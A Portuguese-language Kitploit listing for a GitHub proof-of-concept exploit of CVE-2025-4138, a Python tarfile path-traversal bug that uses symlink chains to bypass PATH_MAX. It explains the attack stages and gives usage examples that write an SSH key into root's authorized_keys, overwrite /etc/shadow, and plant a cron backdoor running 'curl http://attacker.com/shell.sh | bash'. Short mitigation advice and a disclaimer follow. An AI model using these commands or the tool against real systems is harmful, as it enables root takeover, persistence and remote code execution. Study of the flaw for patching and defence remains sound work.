Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4138-POC — PoC em Python para CVE-2025-4138, um path traversal no módulo tarfile do Python que abusa de cadeias de symlinks para contornar PATH_MAX e permitir escrita arbitrária de arquivos. | Kitploit
Ferramentas/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

PoC em Python para CVE-2025-4138, um path traversal no módulo tarfile do Python que abusa de cadeias de symlinks para contornar PATH_MAX e permitir escrita arbitrária de arquivos.

Ver Repositório
1há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-4138 - PoC de Bypass do PATH_MAX do tarfile do Python

Autor: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Visão Geral

Um exploit de prova de conceito para CVE-2025-4138, uma vulnerabilidade de path traversal no módulo tarfile do Python. A vulnerabilidade permite que um invasor crie um arquivo tar malicioso que escreve arquivos em locais arbitrários fora do diretório de extração pretendido, abusando de cadeias de symlinks para exceder PATH_MAX.

Detalhes da Vulnerabilidade

Como Funciona

O exploit opera em quatro estágios:

  1. Inflação de Caminho -- Uma cadeia de diretórios profundamente aninhados e symlinks é construída de modo que o caminho totalmente resolvido exceda o limite PATH_MAX do kernel (4096 bytes no Linux).

  2. Symlink Pivô -- Um symlink é adicionado cujo caminho resolvido cruza o limite de PATH_MAX. Como o caminho é longo demais para ser resolvido, as verificações de segurança do tarfile do Python (que dependem de os.path.realpath()) falham silenciosamente e pulam a validação.

  3. Symlink de Escape -- Um segundo symlink usa ../ para atravessar através do pivô, saindo completamente do diretório de extração e apontando para um caminho absoluto controlado pelo invasor no sistema de arquivos.

  4. Drop do Payload -- Um arquivo regular é escrito através do symlink de escape, pousando no caminho alvo com conteúdo e permissões controlados pelo invasor.

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Instalação

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

Nenhuma dependência externa é necessária -- o exploit utiliza apenas módulos da biblioteca padrão do Python 3.

Uso

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Opções

Exemplos

Escrever uma chave pública SSH no authorized_keys do root:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Escrever um cron job para persistência:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Escrever conteúdo de arquivo arbitrário a partir de um arquivo local:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Saída

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Mitigação

  • Atualize o Python para uma versão corrigida assim que uma correção for lançada.
  • Use tarfile.data_filter (Python 3.12+) que fornece controles de extração mais rigorosos.
  • Nunca extraia arquivos tar não confiáveis como root ou em diretórios sensíveis.
  • Use --strip-components ou valide o conteúdo do arquivo antes da extração.
  • Aplique proteções no nível do sistema de arquivos como restringir o seguimento de symlinks (fs.protected_symlinks).

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido. Sempre obtenha autorização por escrito adequada antes de testar sistemas que você não possui.

Licença

Este projeto está licenciado sob a Licença MIT.


d3vn0mi | GitHub

Baixar ferramenta
CampoValor
CVE IDCVE-2025-4138
ComponenteMódulo tarfile do Python
TipoPath Traversal (CWE-22)
VetorCadeia de symlinks + bypass do PATH_MAX
ImpactoEscrita arbitrária de arquivos fora do diretório de extração
OpçãoDescrição
-o, --outputCaminho do tarball de saída (padrão: exploit.tar)
-t, --targetCaminho absoluto do arquivo a ser escrito no alvo (padrão: /root/.ssh/authorized_keys)
-p, --payloadCaminho para um arquivo cujo conteúdo se torna o payload
-s, --payload-stringUsar uma string literal como payload
-k, --ssh-keyCaminho para um arquivo de chave pública SSH
-m, --modeModo de permissão do arquivo em octal (padrão: 0600)
-d, --depthProfundidade de traversal de diretório (padrão: 8)
-v, --verifyExibir conteúdo do tarball após a criação
-q, --quietSuprimir o banner